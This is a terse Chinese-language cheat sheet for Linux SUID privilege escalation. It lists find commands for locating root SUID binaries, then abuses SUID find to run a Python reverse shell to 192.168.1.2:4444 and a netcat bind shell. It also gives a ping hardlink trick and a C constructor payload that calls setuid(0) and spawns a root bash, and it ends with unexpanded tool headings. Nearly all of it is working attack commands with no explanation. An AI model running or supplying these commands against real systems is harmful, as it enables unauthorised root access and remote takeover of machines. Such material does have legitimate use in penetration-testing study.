LinuxSUID提权
查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;Find
$touch xxx
$/usr/bin/find xxx –exec whoami \;
$/usr/bin/find xxx –exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
&
>find xxx -exec netcat -lvp 12138 -e /bin/sh \; 然后攻击机主动连接Ping
>cd /tmp
>mkdir exploit
>ln /bin/ping /tmp/exploit/cmd
>exec 3< /tmp/exploit/cmd
>rm -rf /tmp/exploit/
>vim payload.cvoid __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}NMAP
VIM
BASH
More/Less/Man
CP/MV
AutoSUID
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